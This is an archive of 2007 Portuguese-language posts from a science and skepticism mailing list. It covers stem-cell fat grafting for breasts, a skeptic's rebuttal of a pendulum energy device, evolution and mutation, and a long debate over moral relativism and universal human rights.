DATE: 14/02/2007 12:29

Células-tronco + gordura = admiráveis seios
novos?<http://100nexos.com/arquivo/87>Published
February 14th, 2007 in Ciência<http://100nexos.com/arquivo/category/ciencia/>,
Idéias <http://100nexos.com/arquivo/category/ideias/> and
Bizonho<http://100nexos.com/arquivo/category/bizonho/>
. 0 Comments <http://100nexos.com/arquivo/87#respond>

<http://news.bbc.co.uk/1/hi/health/6354451.stm>
O cirurgião plástico japonês Kotaro Yoshimura se dedica ao segundo maior
problema de tamanho nipônico, e já aplicou a técnica experimental em
quarenta pacientes. Células de gordura da barriga ou coxas são enriquecidas
com células-tronco para serem então implantadas nos seios. Segundo
Yoshimura, o resultado seria "leve e natural" e não ficaria caído. Mas
a notícia
da BBC <http://news.bbc.co.uk/1/hi/health/6354451.stm> cita a opinião mais
cética de especialistas britânicos: a injeção de gordura em seios é algo
praticado há muito (e os resultados são tão ruins que explicam o sucesso dos
implantes de silicone). E, no estágio atual da utilização de células-tronco
(basicamente misturá-las com a gordura), o resultado não deve ser muito
diferente.
Mas pode-se ter esperança de que em um futuro próximo as mulheres possam
transferir parte de sua bunda para seus peitos, o que seria algo adorável
para o famoso etologista e zoologista Desmond Morris. Nos anos 1960, Morris
causou furor com sua série "O Macaco
Nu<http://pt.wikipedia.org/wiki/O_macaco_nu>",
onde analisava o ser humano como mais uma espécie animal. Entre diversas
hipóteses decorrentes de observar o macao nu, ele sugeriu que os seios
femininos da espécie humana teriam se desenvolvido como uma imitação de seu
traseiro, para que os machos parassem de ficar obcecados com o outro lado e
olhassem as mulheres de frente. Ultrajante e engraçado e princípio, mas a
hipótese é bem razoável. Ecos do trabalho de Morris podem ser vistos em Dancem
Macacos, Dancem <http://www.youtube.com/watch?v=DRJqrLd7MrE>.
[via Gizmodo<http://www.gizmodo.com/gadgets/announcements/stem-cells-key-to-bigger-boobies-236048.php>
]


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Fluido anti-gravidade
FROM: "Kentaro Mori" <kentaro.mori@gmail.com>
TO: ciencialist@yahoogrupos.com.br, enigmasonline@yahoogrupos.com.br, exobiologia_e_cia@yahoogrupos.com.br, painelovni@yahoogrupos.com.br, ufoburn@yahoogrupos.com.br, Ufolista@yahoogrupos.com.br, "lista CA" <ceticismoaberto@yahoogrupos.com.br>
DATE: 14/02/2007 12:37

Fluido anti-gravidade <http://www.ceticismoaberto.com/news/?p=851>

<http://www.athousandandone.com/21/>
Inodoro, incolor, insípido e não-tóxico, este fluido de propriedades
fantásticas <http://pt.wikipedia.org/wiki/%C3%81gua> ainda permite que
objetos pareçam desafiar a força da gravidade.
via digg <http://digg.com/>

Postado em Curiosidades <http://www.ceticismoaberto.com/news/?cat=7> | Por
Mori | Comente! » <http://www.ceticismoaberto.com/news/?p=851#respond>

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Soares O neurologista Ren...


[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] Re: Drauzio Varella - Folha de São Paulo - 03/02/2007
FROM: "Jefferson" <jeff@jeff.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 12:44

Olá José Renato!

>
>As mutações seriam direcionadas para quê ou para onde?
>

Pra nada e pra lugar nenhum. Não são direcionadas. As mutações não são
exatamente aleatórias (na verdade não existe aleatoriedade, pois tudo tem
uma causa), mas não tem a finalidade de evoluir. Acabam sendo "peneiradas"
ou extintas pelo ambiente.

Pra entender bem isso, você pode fazer umas simulações mentais, tentando
imaginar os resultados de milhares de interações desta lógica (milhares de
gerações) em milhares de indivíduos. Mesmo assim, talvez, você conseguirá
"observar" uma pequena evolução ou a extinção de uma espécie, dependendo do
ambiente imaginado. Exitem algumas simulações de software onde, sabendo a
lógica e observando os resultados, fica mais fácil visualizar. Mesmo assim,
apesar da lógica ser extremamente simples, simplemente tudo interfere em
tudo, em maiores e menores graus. Cada ser vivo é um sistema (composto de
sub-sistemas) que interage com outros e com o ambiente compondo o seu
ecossistema, o seu ecossitema interage com outros ecossitemas e compõe a
Biosfera do planeta, o nosso planeta compõe o sistema solar, e assim por
diante... O único sistema fechado seria o universo, todos dentro dele são
sistemas abertos, que sofrem influência de todos os outros.

[]',s
Jeff.



SUBJECT: Re: ***SPAM*** [ciencialist] O Dino, o Dodô e o Homo
FROM: "ssilva" <ssilva@smad.curitiba.pr.gov.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 13:06

Errr... Desculpem-me pelo off-topic...

... enviei a mensagem abaixo, comentando alguns links postados aqui na Ciencialist, para um grupo de amigos e acabei enviando por engano para o grupo...


Sandro Silva, o desatento...

[As partes desta mensagem que não continham texto foram removidas]



SUBJECT: Re: [ciencialist] A utilidade de um Pêndulo
FROM: "Luiz Ferraz Netto" <leobarretos@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 13:22

Curiosidade sempre é válida mas, na ora de examinar os aparelhos, é bom ter a boa e velha física newtoniana à mão.
No primeiro link que enviou, na primeira figura 1, onde se "pretende" que o movimento do pêndulo movimente a alavanca e bata em alguma coisa já está 'furado'.
A força que age no braço de alavanca do lado direito é exclusivamente a tensão no fio de suspensão do pêndulo. A componente útil dessa tensão (para o deslocamento da alavanca) é a parcela vertical que não muda o braço de alavanca. As componentes horizontais só puxam ou apertam a alavanca contra o fulcro, não realizam trabalho.
Em suma, a coisa não funciona!
[]'
===========================
Luiz Ferraz Netto [Léo]
leobarretos@uol.com.br
http://www.feiradeciencias.com.br/doacoes.asp
===========================
-----Mensagem Original-----
De: "Tipoalgo" <tipoalgo@gmail.com>
Para: <ciencialist@yahoogrupos.com.br>
Enviada em: quarta-feira, 14 de fevereiro de 2007 06:26
Assunto: [ciencialist] A utilidade de um Pêndulo


Olá a todos

O trabalho do prof. Veljko Milkovic com os pêndulos me deixou curioso.

Olhem o saite e os vídeos.

Sugestão de links:

http://www.veljkomilkovic.com/OscilacijeEng.html
http://www.veljkomilkovic.com/PrototipiEng.html
http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-2)_Device_for_testing.wmv
http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-6)_Universal_oscillator-hammer.wmv
http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-7)_Universal_oscillator-generator.wmv
http://www.veljkomilkovic.com/Images/Opinion_Dr_Peter_Lindemann.jpg

Os mestres poderiam tecer algum comentário sobre o assunto?

Abraços

Tipoalgo



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SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 13:33

Homero sua resposta esta com o sinal ">", ao contrário
das minhas respostas.

--- Oraculo <oraculo@atibaia.com.br> escreveu:

> Imaginemos que almas ainda não nascidas (e não
> importa aqui se acreditamos em almas ou não, é
> apenas uma hipótese para permitir o raciocínio)
> estejam debatendo as condições do mundo em que irão
> viver. Só nascerão quando todos concordarem com as
> regras desse mundo. Mas, o mais importante, nenhuma
> das almas pode saber de antemão em que condições irá
> nascer. Se será homem, mulher, deficiente, normal,
> alto, baixo, branco, negro, esperto, estúpido, etc,
> etc, etc.
>
> Se você não sabe em que condições irá estar no
> futuro, tende a ser menos tolerante com
> discriminações e danos que pode atingir a você em
> algum momento.
>
> Dessa forma, o acordo final entre essas almas
> parecerá sempre ser a forma mais justa de lidar com
> as pessoas, já que terá abrandado toda e qualquer
> discrepância, benefício ou dano, que fazem parte da
> vida em comum e da vida neste universo. Por exemplo,
> sem saber se nascerá capaz ou com alguma
> deficiência, todas as almas concordarão que não se
> deve penalizar um deficiente, e que é preciso
> compensar essa deficiência, pois isso pode ser em
> seu benefício. Seria também mais difícil que uma
> alma concordasse com oprimir ou massacrar mulheres,
> pois poderia ela a nascer mulher e receber o peso
> dessas regras.

"Fazei aos homens tudo o que queirais que eles vos
façam..."
(MATEUS cap. VII, v. 12)

Você virou cristão foi??? :p:p

> Assim, mesmo sem absolutos, as leis e regras na
> Finlandia parecem ser mais "justas" que as leis e
> regras na Nigéria.
>...
>...
>...
> Me parece que leis justas são as que tem mais amplo
> alcance, aplicação mais extensa e menos
> discriminatória.

Então a coisa não é tão relativa quanto você defende.
O mais justo possível seria o máximo de alcance,
extensão e igualdade. Bela aula de cristianismo!!!:p

> Por isso é tão complicado a questão
> da pena de morte, pois a maioria dos que são a
> favor, sabem perfeitamente que não correm nenhum
> risco de ser objeto da mesma. Dessa forma, é bem
> mais fácil apoiar uma norma que não nos diz
> respeito, nem a nossos filhos e entes queridos. Mais
> difícil seria, por exemplo, apoiar pena de morte
> para, digamos, sonegação fiscal ou corrupção
> administrativa (que, em alguns casos, pode causar
> mais morte, dor e sofrimento que assassinatos).
> Nesses casos, o risco de nos atingir é bem maior, e
> as coisas mudam um pouco de figura.

Pimenta nos olhos dos outros é refresco :p.


"O Binômio de Newton é tão belo como a Vênus de Milo.
O que há é pouca gente para dar por isso... "
Fernando Pessoa - Poesias de Alvaro Campos

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SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 13:43

Victor e Ricardo voces acabaram de declarar morte a
Declaração Universal dos Direitos do Homem !!!

Me digam uma coisa, por que voces acham
que se escreve coisas desse tipo:
http://www.gddc.pt/direitos-humanos/textos-internacionais-dh/universais.html


Apenas instrumento de retórica??

--- Victor <jvoneto@uol.com.br> escreveu:

> Romano_170,
>
>
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 3:25 PM
> Subject: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>
>
> Romano: Não concordo.
>
> Victor: Este é um direito que você tem.
>
> Romano_170: Existem leis naturais universais
> válidos pra qualquer cultura, o amor é uma delas, o
> ódio em qualquer cultura é prejudical, nos leva a
> matar
> e cometer todos os tipos de atrocidades.
>
> Victor: Mas não se trata disso, da influência do
> emocional, que esta é comum ao ser humano, qualquer
> que seja o contexto em que este esteja inserido.
> Mesmo assim, já que falou, o emocional é engolido
> pelos costumes de tal ou qual sociedade, tem seu
> valor minimizado ou desconsiderado quando se trata
> de fazer justiça, o que quer seja isso para
> determinada sociedade. O que achamos um destempero,
> uma coisa de uma crueldade sem limites, um
> comportante alguns milhões de vezes maior que o
> animalesco(que não exibe emoções, move-o apenas o
> instinto de preservação individual e da espécie),
> para outras civilizações não é, de jeito nenhum
> assim. Povos antigos, considerados civilizados e
> avançados em certos conhecimentos, como os maias ou
> astecas, não tinham tais ingredientes em seu
> cardápio do uso deles de cada dia. Era comum, muito
> comum, como prêmio, jogarem "bola" com a cabeça dos
> vencidos numa batalha! Tratava-se de uma mera
> diversão e o prazer do escárnio ao vencido, que
> perdia interiramente o valor de humano. Onde está a
> emoção, aí? Não sentiam ´"pena", "dó" ou tinha
> quaisquer sentimentos do errado, do condenável.
> Ainda hoje há sociedades que exibem tradições
> milenares bizarras, onde o o sentimento de amor,
> ódio, ou o que seja, nem fedem nem cheiram.
>
> Ou seja, tais comportamentes sociais nada têm a
> ver com o tipo de coisa que outras sociedades possam
> pensar a respeito. O que uma pensa em relação à
> outra é absoluta e reciprocamente transparente.
>
> Em suma, o que disse no e-mail anterior e em
> outros, refere-se exclusivamente ao comportamento e
> posturas sociais apenas naquele meio social.
> Referia-me, e acho que foi desnecessário explictar
> isso, à realidade e às verdades inerentes a tal ou
> qual grupamento social. O que nós, ou outras
> sociedades achamos a respeito em absoluto não atinge
> as outras, como já enfatizei, e repito agora. E
> estas, também, não compreendem a razão pela qual
> pensamos e agimos assim, que para elas está errado,
> é um absurdo, que estão certíssimas. Ou seja, do
> mesmo jeito que pensamos a respeito delas. É o tal
> caso: vale o vice-versa e o versa-vice. E nada
> podemos tascar a respeito.
>
>
> Romano_170: Se as leis da física valem em qualquer
> lugar da Terra, as leis morais
> tb são válidas a qualquer cultura. Não podemos dar
> como normal o
> linchamento de pessoas em determinadas culturas.
> Pelos direitos
> humanos universais, todo mundo merece um
> julgamento digno. Enfim, é um
> assunto muito discutível
>
> Victor: Não podemos, sob hipótese alguma, fazer
> comparações entre as leis da física, estas sim,
> universais, e "leis morais", que são de um
> relativismo que faz pena, conforme discutido no
> questionamento anterior, onde, particularmente, usei
> exemplos simples e possíveis de situações que
> mostram claramente essa maleabilidade no que se
> refere a conceitos do tipo discutido neste e-mail e
> nesta thread. São duas coisa tão diferentes quanto
> um ser vivo e uma pedra. Fico com a impressão de
> que o amigo não tem a mínima idéia do que sejam leis
> físicas; pois incluí-la num contexto desse tipo,
> buscando ancoramento para justificar uma
> "universalidade" de leis morais, ou que isto seja,
> é, queira me desculpar, no mínimo, um disparate.
> Pelo que denota, apenas, desconhecimento do que
> está tratando. Não sei sua formação. Só sei, agora,
> que ela nada a ver com física ou matemática. Se for
> filósofo, ou estudante de filosofia, pior ainda.
> Mas sugiro, fortemente, que, antes de fazer uma
> dessas tolas analogias, até por respeito aos que
> sabidamente não são da área científica, nem querem
> saber dessas coisas, embora saibam muitas outras,
> que os da área nem desconfiam, procure informar-se
> melhor a respeito de um dos objetos referenciados.
> Por isso, vou tirar 100 pontos de você. Será,
> agora, apenas "romano_70"!
>
> Romano_70: Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas.
> Pelos direitos
> humanos universais, todo mundo merece um
> julgamento digno. Enfim, é um
> assunto muito discutível.
>
> Victor: Repetí o texto acima, de certa forma já
> comentado, para tecer mais alguns comentários. Você
> diz: " Não podemos dar como normal o linchamento de
> pessoas em determinadas culturas". Embora isto não
> seja verdadeiro sequer para nós, que "não achamos
> normal", só quero lembrar que não está se tratando
> de acharmos ou não normal tal ou qual comportamento
> de determinadas culturas. Trata-se, apenas, do que
> esta cultura acha ou entende como certo para ela!
> Tratam-se de suas realidades inerentes, atreladas
> aos costumes e tradições daquela determinada
> sociedade. O certo ou errado, refere-se à cultura em
> si. Não ao que pensam outras culturas, que têm, de
> maneira igualmente corretas suas tradições e
> comportamentos. O que uma acha em relação a outra,
> vice-versa, é irrelevante. Agora, voltemos um
> pouquinho cá para dentro de nossa sociedade, que se
> arvora o direito de ter as verdades absolutas: o que
> pensamos, muitos de nós, ante uma atrocidade como
> aquela que ocorreu com o garoto João, ou com o o
> sequestro, estupro e assassinato de duas garotas
> estudantes de 10 e 13 anos, aquí em Pernambuco?
> Garanto uma coisa: uma boa parte da população
> trucidaria, sem remorsos posterioes, os bandidos que
> cometeram os desatinos. Ou não é assim? Mas
> empunhamos o cajado da justiça e da retidão para
> criticar comportamentos às vezes tão crueis quanto
> os que você cita, como base para seus argumentos.
> Agora, admito que há uma coisa que pode ser
> universal: a hipocrisia. Todos merecem um julgamento
> digno, você diz certo. Mas até o conceito de
> "julgamento digno" é varíavel também. De uma fluidez
> que dá gosto! Depende da sociedade, e o caráter
> fluídico do conceito está diretamente ligado ao que
> NÓS pensamos a respeito do que pensa aquela
> determinada sociedade.
>
> " Enfim, é um assunto muito discutível.", conforme
> você conclui sua própria prosopopéia. Mas é disso
> que estamos tratando, durante todo o tempo.
>
> Sds,
>
> Victor.
>
>
>
> Sds,Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Victor"
> <jvoneto@...> escreveu
> >
> > Ricardo,
> >
> > Você fechou claramente o que tentei expor com
> exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética,
> religião,
> comportamento, enfim, tudo é uma função
> geográfica!. Para mim,isto é
> de uma clareza, sobre o que não tenho dúvidas, o
> que me economiza o
> tempo de estar elaborando perguntas e mais
> perguntas. Minha realidade
> é minha realidade. A de outros, é a de outros. Que
> só depende do lugar
> e/ou das circunstâncias, como se tem corretamente
> enfatizado. Imagina
> que eu, civilizado como penso que sou, tivesse
> nascido em uma tribo
> brasileira, digamos, a Tupinambá. Numa guerra,
> aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois,
> viria uma batata de
> perna, um... Se não fosse ela, seria eu. Bem, já
> almocei.
> >
> > Sds,
> > Victor.


"O Binômio de Newton é tão belo como a Vênus de Milo.
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SUBJECT: Re: [ciencialist] P/ Chicao - Por que não comer seres humanos?
FROM: Chicao Valadares <chicaovaladares@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 14:12

Ou de seguidores de Francis Bacon. Ele acreditava no
direito de abuso da natureza pelo homem. Ele também é
considerado o pai do método indutivo.

Belas palavras Bruna.

--- Bruna Carolina Ribas <brunacribas@yahoo.com.br>
escreveu:

> Uma cena interessante de ser visualizada por
> quem é adepto de todas essas teorias de que humanos
> tem direito soberano porque humanos são seres
> especiais, nobres...
> Isso só pode ser idéia de gente que acredita num
> Deus da Gênese que outorgou essa soberania...
>
> Deve ser isso, ser humano é um ser nobre.
>
> Amém!


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SUBJECT: As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "romano_170" <romano_170@yahoo.com.br>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 14:13

Victor ,

Não há diferenças entre leis físicas e leis morais. Sem amor a
existencia é impossível. Não há relativismo algum nisso. Vou explicar.
O que existe uma irrefletida maneira e de pensar de determinadas
culturas e povos(mas não que o relativismo seja verdadeiro para cada
cultura) - O que pesa nestas culturas? A falta de conhecimento é uma
das coisas que contribuem para o relativismo, o fato de um aborígene
desconhecer as leis da física, e praticar canibalismo, não faz da
cultura dele mais certa eticamente e intelectual que a nossa. Se ele
não tiver os conhecimentos necessários, a vida deles será vivida
pobremente, sem nenhum conceito de moralidade ou ciência. Um ser ou
uma civilização esclarecida não colocaria outro ser humano num
caldeirão com cebola. Então não tem essa de que eles estão certos e
que a moral deles é válida só porque fazem isso. Então, segundo seu
raciocínio, se eles desconhecem a moralidade, eles tb desconhecem a
física, e as leis física pra eles não tem nenhuma validade pra eles,
eles viveriam muito bem sem elas.
Se eles desconhecem a moral e a física, e praticam canibalismo, o
canibalismo pra cultura deles pode ser tão verdadeiro como as
descobertas da física? Voce aceitaria isso? Obviamente que não,
obviamente diria que nós fizemos ciência e eles não. Então há
diferença entre os povos civilizados e os povos aborígenes! É um fato

Vamos ver o problema do seu raciocínio: Se assim fosse deveríamos
deixar governos como o Taliban dominar o mundo, já que cada cultura
possue a sua verdade. E diríamos que aquela forma de governo opressora
é válida . Hitler e Mussolini poderiam ter tacado uma bomba em
qualquer país, ter matado mais judeus e ciganos, ora bolas, afinal, a
moralidade dele pode ser tão correta quanto a nossa! :-)

A universalidade das leis morais tem tanto valor para a humanidade
como as leis da física, pois dela depende o entrosamento dos homens
daí a dificuldade dos cientistas em lidar com a religião ou a
filosofia. A ciencia existe porque existe o amor pela humanidade. Se
assim não fosse, não tinha razão de ser. Voce está vivo porque seus
pais o amaram e voce ama seus filhos.

No seu email voce tentou me desqualificar , apelando para formações,
etc e escambau. Digo e repito, inteligencia não tem nada a ver com
formação nenhuma, inclusive física e matemática. Voce tb não é físico,
e discute aqui não? Não vai comparar a formação de um físico teórico
com a de um engenheiro eletrônico. Mas te digo, inteligência e
formação cultura-científica não garante a inteligencia de uma pessoa

Abs,Romano


--- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@...> escreveu
>
> Romano_170,
>
>
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 3:25 PM
> Subject: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re:
Carne: enfim o método )
>
>
> Romano: Não concordo.
>
> Victor: Este é um direito que você tem.
>
> Romano_170: Existem leis naturais universais válidos pra qualquer
cultura, o amor é uma delas, o ódio em qualquer cultura é prejudical,
nos leva a matar
> e cometer todos os tipos de atrocidades.
>
> Victor: Mas não se trata disso, da influência do emocional, que
esta é comum ao ser humano, qualquer que seja o contexto em que este
esteja inserido. Mesmo assim, já que falou, o emocional é engolido
pelos costumes de tal ou qual sociedade, tem seu valor minimizado ou
desconsiderado quando se trata de fazer justiça, o que quer seja isso
para determinada sociedade. O que achamos um destempero, uma coisa de
uma crueldade sem limites, um comportante alguns milhões de vezes
maior que o animalesco(que não exibe emoções, move-o apenas o instinto
de preservação individual e da espécie), para outras civilizações não
é, de jeito nenhum assim. Povos antigos, considerados civilizados e
avançados em certos conhecimentos, como os maias ou astecas, não
tinham tais ingredientes em seu cardápio do uso deles de cada dia. Era
comum, muito comum, como prêmio, jogarem "bola" com a cabeça dos
vencidos numa batalha! Tratava-se de uma mera diversão e o prazer do
escárnio ao vencido, que perdia interiramente o valor de humano. Onde
está a emoção, aí? Não sentiam ´"pena", "dó" ou tinha quaisquer
sentimentos do errado, do condenável. Ainda hoje há sociedades que
exibem tradições milenares bizarras, onde o o sentimento de amor,
ódio, ou o que seja, nem fedem nem cheiram.
>
> Ou seja, tais comportamentes sociais nada têm a ver com o tipo de
coisa que outras sociedades possam pensar a respeito. O que uma pensa
em relação à outra é absoluta e reciprocamente transparente.
>
> Em suma, o que disse no e-mail anterior e em outros, refere-se
exclusivamente ao comportamento e posturas sociais apenas naquele meio
social. Referia-me, e acho que foi desnecessário explictar isso, à
realidade e às verdades inerentes a tal ou qual grupamento social. O
que nós, ou outras sociedades achamos a respeito em absoluto não
atinge as outras, como já enfatizei, e repito agora. E estas, também,
não compreendem a razão pela qual pensamos e agimos assim, que para
elas está errado, é um absurdo, que estão certíssimas. Ou seja, do
mesmo jeito que pensamos a respeito delas. É o tal caso: vale o
vice-versa e o versa-vice. E nada podemos tascar a respeito.
>
>
> Romano_170: Se as leis da física valem em qualquer lugar da Terra,
as leis morais
> tb são válidas a qualquer cultura. Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas. Pelos direitos
> humanos universais, todo mundo merece um julgamento digno. Enfim, é um
> assunto muito discutível
>
> Victor: Não podemos, sob hipótese alguma, fazer comparações
entre as leis da física, estas sim, universais, e "leis morais", que
são de um relativismo que faz pena, conforme discutido no
questionamento anterior, onde, particularmente, usei exemplos simples
e possíveis de situações que mostram claramente essa maleabilidade no
que se refere a conceitos do tipo discutido neste e-mail e nesta
thread. São duas coisa tão diferentes quanto um ser vivo e uma pedra.
Fico com a impressão de que o amigo não tem a mínima idéia do que
sejam leis físicas; pois incluí-la num contexto desse tipo, buscando
ancoramento para justificar uma "universalidade" de leis morais, ou
que isto seja, é, queira me desculpar, no mínimo, um disparate. Pelo
que denota, apenas, desconhecimento do que está tratando. Não sei
sua formação. Só sei, agora, que ela nada a ver com física ou
matemática. Se for filósofo, ou estudante de filosofia, pior ainda.
Mas sugiro, fortemente, que, antes de fazer uma dessas tolas
analogias, até por respeito aos que sabidamente não são da área
científica, nem querem saber dessas coisas, embora saibam muitas
outras, que os da área nem desconfiam, procure informar-se melhor a
respeito de um dos objetos referenciados. Por isso, vou tirar 100
pontos de você. Será, agora, apenas "romano_70"!
>
> Romano_70: Não podemos dar como normal o
> linchamento de pessoas em determinadas culturas. Pelos direitos
> humanos universais, todo mundo merece um julgamento digno. Enfim, é um
> assunto muito discutível.
>
> Victor: Repetí o texto acima, de certa forma já comentado, para
tecer mais alguns comentários. Você diz: " Não podemos dar como normal
o linchamento de pessoas em determinadas culturas". Embora isto não
seja verdadeiro sequer para nós, que "não achamos normal", só quero
lembrar que não está se tratando de acharmos ou não normal tal ou qual
comportamento de determinadas culturas. Trata-se, apenas, do que esta
cultura acha ou entende como certo para ela! Tratam-se de suas
realidades inerentes, atreladas aos costumes e tradições daquela
determinada sociedade. O certo ou errado, refere-se à cultura em si.
Não ao que pensam outras culturas, que têm, de maneira igualmente
corretas suas tradições e comportamentos. O que uma acha em relação a
outra, vice-versa, é irrelevante. Agora, voltemos um pouquinho cá
para dentro de nossa sociedade, que se arvora o direito de ter as
verdades absolutas: o que pensamos, muitos de nós, ante uma
atrocidade como aquela que ocorreu com o garoto João, ou com o o
sequestro, estupro e assassinato de duas garotas estudantes de 10 e 13
anos, aquí em Pernambuco? Garanto uma coisa: uma boa parte da
população trucidaria, sem remorsos posterioes, os bandidos que
cometeram os desatinos. Ou não é assim? Mas empunhamos o cajado da
justiça e da retidão para criticar comportamentos às vezes tão crueis
quanto os que você cita, como base para seus argumentos. Agora, admito
que há uma coisa que pode ser universal: a hipocrisia. Todos merecem
um julgamento digno, você diz certo. Mas até o conceito de "julgamento
digno" é varíavel também. De uma fluidez que dá gosto! Depende da
sociedade, e o caráter fluídico do conceito está diretamente ligado
ao que NÓS pensamos a respeito do que pensa aquela determinada
sociedade.
>
> " Enfim, é um assunto muito discutível.", conforme você conclui
sua própria prosopopéia. Mas é disso que estamos tratando, durante
todo o tempo.
>
> Sds,
>
> Victor.
>
>
>
> Sds,Romano
>
> --- Em ciencialist@yahoogrupos.com.br, "Victor" <jvoneto@> escreveu
> >
> > Ricardo,
> >
> > Você fechou claramente o que tentei expor com exemplos, centrados em
> circunstâncias igualmente claras. Moral, ética, religião,
> comportamento, enfim, tudo é uma função geográfica!. Para mim,isto é
> de uma clareza, sobre o que não tenho dúvidas, o que me economiza o
> tempo de estar elaborando perguntas e mais perguntas. Minha realidade
> é minha realidade. A de outros, é a de outros. Que só depende do lugar
> e/ou das circunstâncias, como se tem corretamente enfatizado. Imagina
> que eu, civilizado como penso que sou, tivesse nascido em uma tribo
> brasileira, digamos, a Tupinambá. Numa guerra, aprisionei uma linda
> guerreira. Ia comê-la, sim senhor! Aí, depois, viria uma batata de
> perna, um... Se não fosse ela, seria eu. Bem, já almocei.
> >
> > Sds,
> > Victor.
>
>
>
>
>
> [As partes desta mensagem que não continham texto foram removidas]
>




SUBJECT: Re: A utilidade de um Pêndulo
FROM: "Tipoalgo" <tipoalgo@gmail.com>
TO: ciencialist@yahoogrupos.com.br
DATE: 14/02/2007 14:21

Prof. Léo, o que o Sr. poderia nos dizer sobre a
explicação/demonstração contida no vídeo-2
(http://www.micropixel.biz/veljkomilkovic/videos/Veljko_Milkovic_(video-
2)_Device_for_testing.wmv)?

Tem algo de novo?

Obrigado

Tipoalgo




SUBJECT: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )
FROM: "Victor" <jvoneto@uol.com.br>
TO: <ciencialist@yahoogrupos.com.br>
DATE: 14/02/2007 14:42

Chicão,

O fato de existir um documento desse tipo só corrobora o que Homero, Ricardo e o escriba aquí têm exposto, neste e em outros e-mails! A carta de Direitos Humano é uma tentativa de igualar comportamentos, dentro de um padrão
humanitário, conforme os signatários acham que deve ser. Perfeito, e isto é desejável. Mas, fundamentalmente, surgiu em razão dessa flutuação geográfica e circunstanciais de ações e comportamentos. Nada demais, em relação a isso. Eu mesmo acharia uma beleza que as todas pessoas tivessem tratamentos decentes, respeitosos e dignos, em qualquer parte do mundo!. E pergunto: quem não gostaria? Sem exceção. Documentos como esses só expressam esses nossos desejos. Pretendem sensibilizar as sociedades que continuam exibindo comportamento prá lá de medieval, segundo nossa ótica, repito. Mas é só isso! Tudo o que discutí e comentei referiu-se ao status comportamental das várias regiões do planeta, agora e em épocas passadas. Que são daquele jeito, e naõ de outro, diferente de nosso modus operandi. Em nenhum momento, eu ou qualquer outro debatedor declarou que concordava com tal ou qual coisa. Apenas comentou a realidade dos fatos de hoje, apesar de estarmos no século 21. Você acha que algumas sociedades da África vão deixar, por exemplo, de amputar o clítoris de criancinhas para prevenir atos "pecaminosos" num futuro de adulta, por causa de um documento desse tipo? Estão é se lixando e nos chamando de babacas e pecadores. Isto para nós é um crime incomensurável, horroroso, animalesco e mediaval. Para eles, não. E certamente acham mesmo que crime seria não fazê-lo. Ou lapidar mulheres adultas, por "crimes" de adultério fora de uma relação segundo seus padrões? Você sabe o que significa lapidar pessoas nessas culturas? Se não sabe, arrepie-se todo, quando souber. Pense a respeito. Para nós isso é impensável. Para eles, não! E até acham bom, para treinar a pontaria... Estes são apenas alguns exemplos mais à mão, veiculados frequentemente pela mídia. Você acha que o povo alemão, em sua GRANDE MAIORIA, não estava de acordo com o chamado holocausto? Os judeus passaram a ser, a partir de dado momento, menos que animais daninhos, seres viventes abjetos. A grande maioria não tinha o menor remorso pelo que estava acontecendo. Não foi apenas Hitler o culpado, não foi a política alemã a única culpada. Aquela sociedade incorporou e materializou esse comportamento, achado correto e necessário. Ou não foi? Está errado para nós. Mas não esteve para a maioria alemã das décadas de 30/40, nem está para milhões, ainda hoje, que não acredita naquele holocausto, naquelas coisas. E aí, onde está a ética universal? Veja bem, e aqui nem estou tratando de sociedades mais atrasadas. Mas de uma cá de nossas plagas, de galegões e tudo o mais! Há centenas de exemplos mais próximos de nós próprios, que poderiam ser citados, entre outros mencionados em postagens anteriores.
Só quero dizer, para finalizar, que a existência ou não de Documentos como o que você cita, infelizmente, é irrelevante para o que realmente existe nesse mister. Nem fede nem cheira.
Meus comentários referem-se, apenas, aos dados conhecidos. E estes representam os mais contundentes argumentos.

Sds,
Victor.

----- Original Message -----
From: Chicao Valadares
To: ciencialist@yahoogrupos.com.br
Sent: Wednesday, February 14, 2007 12:43 PM
Subject: Re: [ciencialist] As baratas, nossas irmãzinhas!!! ( Era Re: Carne: enfim o método )


Victor e Ricardo voces acabaram de declarar morte a
Declaração Universal dos Direitos do Homem !!!

Me digam uma coisa, por que voces acham
que se escreve coisas desse tipo:
http://www.gddc.pt/direitos-humanos/textos-internacionais-dh/universais.html

Apenas instrumento de retórica??

--- Victor <jvoneto@uol.com.br> escreveu:

> Romano_170,
>
>
> ----- Original Message -----
> From: romano_170
> To: ciencialist@yahoogrupos.com.br
> Sent: Tuesday, February 13, 2007 3:25 PM
> Subject: [ciencialist] As baratas, nossas
> irmãzinhas!!! ( Era Re: Carne: enfim o método )
>
>
